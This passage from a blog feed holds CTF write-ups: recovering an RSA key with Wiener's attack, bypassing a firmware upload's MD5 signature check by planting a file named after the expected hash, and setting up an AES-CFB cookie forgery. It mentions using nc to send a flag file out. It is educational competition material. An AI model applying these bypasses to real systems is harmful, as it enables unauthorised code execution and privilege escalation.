e <span class="o">=</span> 413646193299856964297595873583269391991677525082759838946971228433489444661147754904876781963643387300426778756247641221869815165656651791063782778832692165650632062745207006311718667769564624561939249776482558452967527416265195742164181060801895639268069202268063010541397525052398620760929202045239384126147631668142034495992456907185667803259903606787633599324685858845766860959168442908303044304319398713375708066833636555483932272992603871307617206789452044701736784287470883649969255328595694298117591936909898261849426261801035861462685108401288571621011309064307726074190651265291411002869221079175064335651
</pre></td></tr></tbody></table></code></pre></figure>
<p>Googling around leads to a python script for the Wiener’s attack on a popular CTF team’s blog <a href="https://ctfcrew.org/writeup/87">BalalaikaCr3w</a>.</p>
<p>Running the script with the n and e value quickly provides us with the corresponding p and q values needed to reconstruct the private key.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre>→ python ~/CTF/tools/wiener_attack.py <span class="nt">-n</span> 1358016654793718168576890372704045370292566693250198337571997713911873446535830350906288566272075747587625218927182158794773627266352290009114996887264885273166024519614459408235461543052969897056498639245852139107189600240612291331078593266375574088348938551792344519865321083218447570464200135681789040698448141245180753009200026942273771102971607691513134494634442001453402739091058614558399864407649009999241938404547068622618622996222788477239323058919028619017187860542797806083989245206963757505047738707660921123080733896257510371124808120528550409099172252647694465039601292947708319054049548469524371745309 <span class="nt">-e</span> 413646193299856964297595873583269391991677525082759838946971228433489444661147754904876781963643387300426778756247641221869815165656651791063782778832692165650632062745207006311718667769564624561939249776482558452967527416265195742164181060801895639268069202268063010541397525052398620760929202045239384126147631668142034495992456907185667803259903606787633599324685858845766860959168442908303044304319398713375708066833636555483932272992603871307617206789452044701736784287470883649969255328595694298117591936909898261849426261801035861462685108401288571621011309064307726074190651265291411002869221079175064335651
<span class="nt">-p</span> 9137680666764853583548316438998008915285472636091785739594127466571221684684134296951534109078917008184054665081257177231154376919717493617815741914917972113486254132700066127081792088268751347553413815661030111443066402165891910883462831658451778251528180641983181467545471181983140196700930933918047320399
<span class="nt">-q</span> 148617215277946085196952504917545900921947201835121992590926549203285830240287840326685954338945019561925743147029298144273188382321071868867244770321808853004675177550018714209360479392000010200481086783373136532647862377216579620653192958581411929955913661912527040227235183587391150737375290030745978811091
<span class="nt">-e</span> 413646193299856964297595873583269391991677525082759838946971228433489444661147754904876781963643387300426778756247641221869815165656651791063782778832692165650632062745207006311718667769564624561939249776482558452967527416265195742164181060801895639268069202268063010541397525052398620760929202045239384126147631668142034495992456907185667803259903606787633599324685858845766860959168442908303044304319398713375708066833636555483932272992603871307617206789452044701736784287470883649969255328595694298117591936909898261849426261801035861462685108401288571621011309064307726074190651265291411002869221079175064335651
</pre></td></tr></tbody></table></code></pre></figure>
<p>The following parts are done similar to the previous challenge.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>→ openssl rsautl <span class="nt">-decrypt</span> <span class="nt">-inkey</span> key.pem <span class="nt">-in</span> flag.enc
XCTF<span class="o">{</span>I_LIKE_SAUSAG3S_D0_Y0U<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And we got the flag for the second part! <code class="language-plaintext highlighter-rouge">XCTF{I_LIKE_SAUSAG3S_D0_Y0U}</code></p>
<p>Hope you enjoyed the challenge, I’ll be writing the write up for b0verfl0w soon.</p>
<p><a href="https://quanyang.github.io/x-ctf-fact0r!z3-and-fact0r!z3_aga!n-crypto/">X-CTF Quals 2016 - Fact0r!z3 and Fact0r!z3_aga!n (Crypto)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on April 21, 2016.</p>
https://quanyang.github.io/32C3-CTF-Flash-(Reversing-300)2015-12-31T00:00:00+00:002015-12-31T00:00:00+00:00Quan Yanghttps://quanyang.github.io
<p>32C3 CTF was organized along with the Chaos Communication Congress in Hamburg, it started on Dec. 27, 20:00 UTC and lasted 48h until Dec. 29, 20:00 UTC.</p>
<h1 id="flash">Flash</h1>
<blockquote>
<p><strong>Points:</strong> 300<br />
<strong>Category:</strong> Reversing<br />
<strong>Description</strong>
This <a href="https://32c3ctf.ccc.ac/uploads/flash.tgz">firmware image</a> is secured against manipulation using RSA and MD5. Can you still get around that protection? <br />
The service is available <a href="http://136.243.194.37:8001/upload.py">here</a>.</p>
</blockquote>
<hr />
<h1 id="our-solution">Our solution</h1>
<p><img src="https://quanyang.github.io/resources/images/32c3ctf/firmware-upload.png" alt="" width="50%" /></p>
<p>We’re given a gzip compressed file, which includes a sample firmware, the public key and the firmware uploading service backend script.</p>
<p><img src="https://quanyang.github.io/resources/images/32c3ctf/firmware-bin.png" alt="" width="50%" /></p>
<p>Running file on the firmware.bin shows that it is an archive. The signature file contained in it seems to be a digital signature that is used to ensure the authenticity of the firmware.</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre><span class="nv">$ </span>file firmware.bin
firmware.bin: POSIX <span class="nb">tar </span>archive <span class="o">(</span>GNU<span class="o">)</span>
<span class="nv">$ </span><span class="nb">tar </span>vxf firmware.bin
x ./CHANGELOG
x ./firmware.img
x ./install
x ./LICENSE
x ./README
x signature
</pre></td></tr></tbody></table></code></pre></figure>
<p>We now take a look at the uploading service.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
</pre></td><td class="code"><pre><span class="c1">#!/usr/bin/env python2
</span><span class="kn">import</span> <span class="nn">cgi</span>
<span class="kn">import</span> <span class="nn">cgitb</span><span class="p">;</span> <span class="n">cgitb</span><span class="p">.</span><span class="n">enable</span><span class="p">()</span>
<span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">from</span> <span class="nn">Crypto.Signature</span> <span class="kn">import</span> <span class="n">PKCS1_v1_5</span>
<span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Hash</span> <span class="kn">import</span> <span class="n">MD5</span>
<span class="kn">from</span> <span class="nn">IPython</span> <span class="kn">import</span> <span class="n">embed</span>
<span class="k">class</span> <span class="nc">MD5_32C3</span><span class="p">:</span>
<span class="n">oid</span> <span class="o">=</span> <span class="n">MD5</span><span class="p">.</span><span class="n">new</span><span class="p">().</span><span class="n">oid</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">digest</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_digest_data</span> <span class="o">=</span> <span class="n">digest</span>
<span class="k">def</span> <span class="nf">digest</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">_digest_data</span>
<span class="n">UPLOAD_DIR</span> <span class="o">=</span> <span class="s">"/tmp"</span>
<span class="n">HTML_FORM_TEMPLATE</span> <span class="o">=</span> <span class="s">"""
**truncated**
<form action="" method="POST" enctype="multipart/form-data">
File: <input name="file" type="file"><br>
<input name="submit" type="submit" value="upload!">
</form>
</body>
</html>"""</span>
<span class="n">HTML_STATUS_TEMPLATE</span> <span class="o">=</span> <span class="s">"""
**truncated**
<h1>Firmware Update Status</h1>
%(status)s
</body>
</html>"""</span>
<span class="k">def</span> <span class="nf">print_html_form</span><span class="p">():</span>
<span class="k">print</span> <span class="s">"content-type: text/html</span><span class="se">\n</span><span class="s">"</span>
<span class="k">print</span> <span class="n">HTML_FORM_TEMPLATE</span>
<span class="k">def</span> <span class="nf">print_html_status</span><span class="p">(</span><span class="n">status</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"content-type: text/html</span><span class="se">\n</span><span class="s">"</span>
<span class="k">print</span> <span class="n">HTML_STATUS_TEMPLATE</span> <span class="o">%</span> <span class="p">{</span><span class="s">'status'</span><span class="p">:</span> <span class="n">status</span><span class="p">}</span>
<span class="k">def</span> <span class="nf">save_firmware_image</span><span class="p">():</span>
<span class="n">form</span> <span class="o">=</span> <span class="n">cgi</span><span class="p">.</span><span class="n">FieldStorage</span><span class="p">()</span>
<span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'CONTENT_LENGTH'</span><span class="p">])</span> <span class="o">></span> <span class="mi">2</span><span class="o">**</span><span class="mi">22</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">form</span><span class="p">.</span><span class="n">has_key</span><span class="p">(</span><span class="s">'file'</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="n">fileitem</span> <span class="o">=</span> <span class="n">form</span><span class="p">[</span><span class="s">'file'</span><span class="p">]</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">fileitem</span><span class="p">.</span><span class="nb">file</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">32</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">)</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">UPLOAD_DIR</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
<span class="n">fout</span> <span class="o">=</span> <span class="nb">file</span><span class="p">(</span><span class="n">filename</span> <span class="o">+</span> <span class="s">'.bin'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">chunk</span> <span class="o">=</span> <span class="n">fileitem</span><span class="p">.</span><span class="nb">file</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">100000</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">chunk</span><span class="p">:</span> <span class="k">break</span>
<span class="n">fout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
<span class="n">fout</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="n">filename</span>
<span class="k">def</span> <span class="nf">calc_md5</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">'mkdir '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'; cd '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'; md5calc < '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'.bin | tar xv'</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">).</span><span class="n">communicate</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">return</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'[a-f0-9]{32}'</span><span class="p">,</span> <span class="n">result</span><span class="p">).</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">verify_sig</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">expected_md5</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">signature</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span> <span class="o">+</span> <span class="s">'/signature'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span><span class="p">,</span><span class="s">'No signature found!'</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">pubkey</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">importKey</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">'../rsa2048pub.pem'</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span><span class="p">,</span><span class="s">'No pubkey found!'</span>
<span class="n">expected_md5</span> <span class="o">=</span> <span class="n">MD5_32C3</span><span class="p">(</span><span class="n">expected_md5</span><span class="p">)</span>
<span class="n">verifier</span> <span class="o">=</span> <span class="n">PKCS1_v1_5</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">pubkey</span><span class="p">)</span>
<span class="k">return</span> <span class="n">verifier</span><span class="p">.</span><span class="n">verify</span><span class="p">(</span><span class="n">expected_md5</span><span class="p">,</span> <span class="n">signature</span><span class="p">),</span><span class="bp">None</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
<span class="n">print_html_form</span><span class="p">()</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">save_firmware_image</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">filename</span><span class="p">:</span>
<span class="n">print_html_status</span><span class="p">(</span><span class="s">'Invalid data received!'</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">md5</span> <span class="o">=</span> <span class="n">calc_md5</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="n">status</span><span class="p">,</span><span class="n">msg</span> <span class="o">=</span> <span class="n">verify_sig</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">md5</span><span class="p">)</span>
<span class="k">if</span> <span class="n">status</span><span class="p">:</span>
<span class="n">msg</span> <span class="o">=</span> <span class="s">'Signature check successul! Updating firmware... <br>'</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">'cd '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'; ./install'</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">).</span><span class="n">communicate</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">msg</span> <span class="o">+</span> <span class="n">result</span> <span class="o">+</span> <span class="s">'<br>done.'</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">status</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">msg</span><span class="p">:</span>
<span class="n">msg</span> <span class="o">=</span> <span class="s">'Signature check failed!'</span>
<span class="n">print_html_status</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>From the python script, we can tell that the verification process is as follows:
encrypt(md5(firmware.bin),public_key) == signature</p>
<p>The other interesting finding is the command <code class="language-plaintext highlighter-rouge">cmd = 'cd ' + filename + '; ./install'</code>. This tells us that we’ll have to modify the file <code class="language-plaintext highlighter-rouge">install</code> to run arbitrary code in order to get the flag.</p>
<p>Simply modifying the firmware will not work, we need to find a way to bypass the signature check. As it is a reversing challenge, and that the RSA key is 2048-bits, I did not attempt to go towards the cryptography direction.
Instead, what is interesting is the calc_md5 function.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="code"><pre><span class="k">def</span> <span class="nf">calc_md5</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">'mkdir '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'; cd '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'; md5calc < '</span> <span class="o">+</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">'.bin | tar xv'</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">).</span><span class="n">communicate</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">return</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'[a-f0-9]{32}'</span><span class="p">,</span> <span class="n">result</span><span class="p">).</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The function uses regular expression to obtain the MD5 from the output of the subprocess command, and what is interesting is that it takes the first occurance of a 32-characters a-f0-9 string as the MD5 hash (due to <code class="language-plaintext highlighter-rouge">re.search().group(0)</code>).</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre><span class="nv">$ </span>./md5calc < firmware.bin | <span class="nb">tar </span>xv
name: ./CHANGELOG, size: 1812
name: ./firmware.img, size: 1048576
./CHANGELOG
./firmware.img
name: ./install, size: 44
name: ./LICENSE, size: 576
name: ./README, size: 930
name: signature, size: 256
nb override: 512
nb override: 512
md5: a0e3c9c3262ccf420c789ed55148412c
./install
./LICENSE
./README
signature
</pre></td></tr></tbody></table></code></pre></figure>
<p>We see that if the firmware archive contains a file with the name of <code class="language-plaintext highlighter-rouge">a0e3c9c3262ccf420c789ed55148412c</code>, the calc_md5 will take that as the md5 hash instead of the actual md5 hash.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> firmware3
total 4152
drwxr-xr-x 1 vagrant vagrant 374 Dec 31 2015 <span class="nb">.</span>
drwx------ 1 vagrant vagrant 714 Dec 31 10:56 ..
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 6148 Dec 29 13:48 .DS_Store
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 1055232 Dec 29 13:48 CHANGELOG
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 576 Dec 26 22:37 LICENSE
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 930 Dec 26 22:37 a0e3c9c3262ccf420c789ed55148412c
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 1048576 Dec 26 22:37 firmware.img
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 2114048 Dec 29 13:53 firmware3.bin
<span class="nt">-rwxr-xr-x</span> 1 vagrant vagrant 48 Dec 29 13:45 <span class="nb">install</span>
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 2278 Dec 29 13:51 out.txt
<span class="nt">-rw-r--r--</span> 1 vagrant vagrant 256 Dec 29 13:28 signature
<span class="nv">$ </span>python test.py firmware3
name: CHANGELOG, size: 1055232
name: LICENSE, size: 576
name: a0e3c9c3262ccf420c789ed55148412c, size: 930
name: firmware.img, size: 1048576
name: <span class="nb">install</span>, size: 48
name: signature, size: 256
nb override: 512
nb override: 512
md5: 8de5e3801c7758ba5e632b7c84533e8b
a0e3c9c3262ccf420c789ed55148412c
Signature check successul! Updating firmware... <br><br>done.
</pre></td></tr></tbody></table></code></pre></figure>
<p>With that, we can make use of multiple ways to obtain the flag located at <code class="language-plaintext highlighter-rouge">/home/challenge/flag.txt</code>. For me, I made use of nc to send the flag back.</p>
<p><img src="https://quanyang.github.io/resources/images/32c3ctf/flag.png" alt="" width="100%" /></p>
<p>Hurray!</p>
<p><a href="https://quanyang.github.io/32C3-CTF-Flash-(Reversing-300)/">32C3 CTF - Flash (Reversing 300)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on December 31, 2015.</p>
https://quanyang.github.io/HITCONCTF-Quals-2015-Simple-(Crypto-100)2015-10-19T00:00:00+00:002015-10-19T00:00:00+00:00Quan Yanghttps://quanyang.github.io
<p>HITCON CTF Quals 2015 <a href="https://ctftime.org/event/245">CTFTIME Page</a>. Most of the challenges were very tedious, and this is one of the challenges that we solved (Although we only managed to solve this after the CTF ended).</p>
<h1 id="simple">Simple</h1>
<blockquote>
<p><strong>Points:</strong> 100<br />
<strong>Category:</strong> Cryptography<br />
<strong>Description</strong>
Become admin!<br />
<a href="http://52.69.244.164:51913">http://52.69.244.164:51913</a><br />
<a href="https://quanyang.github.io/resources/files/hitcon/simple/simple-01018f60e497b8180d6c92237e2b3a67.rb">simple-01018f60e497b8180d6c92237e2b3a67.rb</a><br />
<strong>md5</strong>: 4bd00c892d5e71f6d1d25d0bff2f49ec</p>
</blockquote>
<hr />
<h1 id="our-solution">Our solution</h1>
<p>Given the source code of the website, we’re told to get admin. Looking at the source code provided, to be able to print the flag out, we have to get the conditon r[‘admin’] to be equal to true.</p>
<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
</pre></td><td class="code"><pre><span class="c1">#!/usr/bin/env ruby</span>
<span class="nb">require</span> <span class="s1">'sinatra/base'</span>
<span class="nb">require</span> <span class="s1">'sinatra/cookies'</span>
<span class="nb">require</span> <span class="s1">'openssl'</span>
<span class="nb">require</span> <span class="s1">'json'</span>
<span class="no">KEY</span> <span class="o">=</span> <span class="no">IO</span><span class="p">.</span><span class="nf">binread</span><span class="p">(</span><span class="s1">'super-secret-key'</span><span class="p">)</span>
<span class="no">FLAG</span> <span class="o">=</span> <span class="no">IO</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="s1">'/home/simple/flag'</span><span class="p">).</span><span class="nf">strip</span>
<span class="k">class</span> <span class="nc">SimpleApp</span> <span class="o"><</span> <span class="no">Sinatra</span><span class="o">::</span><span class="no">Base</span>
<span class="n">helpers</span> <span class="no">Sinatra</span><span class="o">::</span><span class="no">Cookies</span>
<span class="n">get</span> <span class="s1">'/'</span> <span class="k">do</span>
<span class="n">auth</span> <span class="o">=</span> <span class="n">cookies</span><span class="p">[</span><span class="ss">:auth</span><span class="p">]</span>
<span class="k">if</span> <span class="n">auth</span>
<span class="k">begin</span>
<span class="n">auth</span> <span class="o">=</span> <span class="n">auth</span><span class="p">.</span><span class="nf">b</span>
<span class="n">c</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">Cipher</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'AES-128-CFB'</span><span class="p">)</span>
<span class="n">c</span><span class="p">.</span><span class="nf">decrypt</span>
<span class="n">c</span><span class="p">.</span><span class="nf">key</span> <span class="o">=</span> <span class="no">KEY</span>
<span class="n">c</span><span class="p">.</span><span class="nf">iv</span> <span class="o">=</span> <span class="n">auth</span><span class="p">[</span><span class="mi">0</span><span class="o">...</span><span class="mi">16</span><span class="p">]</span>
<span class="n">json</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">auth</span><span class="p">[</span><span class="mi">16</span><span class="o">..-</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="n">c</span><span class="p">.</span><span class="nf">final</span>
<span class="n">r</span> <span class="o">=</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="n">json</span><span class="p">)</span>
<span class="k">if</span> <span class="n">r</span><span class="p">[</span><span class="s1">'admin'</span><span class="p">]</span> <span class="o">==</span> <span class="kp">true</span>
<span class="s2">"You're admin! The flag is </span><span class="si">#{</span><span class="no">FLAG</span><span class="si">}</span><span class="s2">"</span>
<span class="k">else</span>
<span class="s2">"Hi </span><span class="si">#{</span><span class="n">r</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]</span><span class="si">}</span><span class="s2">, try to get admin?"</span>
<span class="k">end</span>
<span class="k">rescue</span> <span class="no">StandardError</span>
<span class="s1">'Something wrong QQ'</span>
<span class="k">end</span>
<span class="k">else</span>
<span class="o"><<-</span><span class="no">EOS</span><span class="sh">
<html><body><form action='/' method='POST'>
<input type='text' name='username'/>
<input type='password' name='password'/>
<button type='submit'>register!</button>
</form></body></html>
</span><span class="no"> EOS</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="n">post</span> <span class="s1">'/'</span> <span class="k">do</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="s1">'password'</span><span class="p">]</span>
<span class="k">if</span> <span class="n">username</span> <span class="o">&&</span> <span class="n">password</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
<span class="ss">username: </span><span class="n">username</span><span class="p">,</span>
<span class="ss">password: </span><span class="n">password</span><span class="p">,</span>
<span class="ss">db: </span><span class="s1">'hitcon-ctf'</span>
<span class="p">}</span>
<span class="n">c</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">Cipher</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'AES-128-CFB'</span><span class="p">)</span>
<span class="n">c</span><span class="p">.</span><span class="nf">encrypt</span>
<span class="n">c</span><span class="p">.</span><span class="nf">key</span> <span class="o">=</span> <span class="no">KEY</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="nf">random_iv</span>
<span class="n">json</span> <span class="o">=</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">enc</span> <span class="o">=</span> <span class="n">c</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">json</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="p">.</span><span class="nf">final</span>
<span class="n">cookies</span><span class="p">[</span><span class="ss">:auth</span><span class="p">]</span> <span class="o">=</span> <span class="n">iv</span> <span class="o">+</span> <span class="n">enc</span>
<span class="n">redirect</span> <span class="n">to</span><span class="p">(</span><span class="s1">'/'</span><span class="p">)</span>
<span class="k">else</span>
<span class="s1">'Invalid input!'</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>It seems that the IV used as well as the encrypted json is kept in the client’s cookie, and that the same cookie is used to determine if you’re an admin. (This indicates that if we can spoof the encrypted json, we can become admin)</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/9d/CFB_encryption.svg/1202px-CFB_encryption.svg.png" alt="" />
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/57/CFB_decryption.svg/1202px-CFB_decryption.svg.png" alt="" /></p>
<p>AES-128 in CFB mode has a block size of 16 bytes.<br />
Simply put,<br />
Ciphertext of block #1 = E(IV, key) ^ Plaintext</p>
<p>Therefore, with knowledge of plaintext and ciphertext, we are able to obtain E(IV, key) and to forge for the first block of cipher text.</p>
<p>With a username and password of b, the Plaintext of the first block will be<br />
<code class="language-plaintext highlighter-rouge">{"username":"b",</code><br />
and we’ll use that knowledge to obtain our E(IV, key)</p>
<p>This is our exploit script that forges our first block to be:
<code class="language-plaintext highlighter-rouge">{"admin": true }</code><br />
and allows us to obtain our flag!</p>
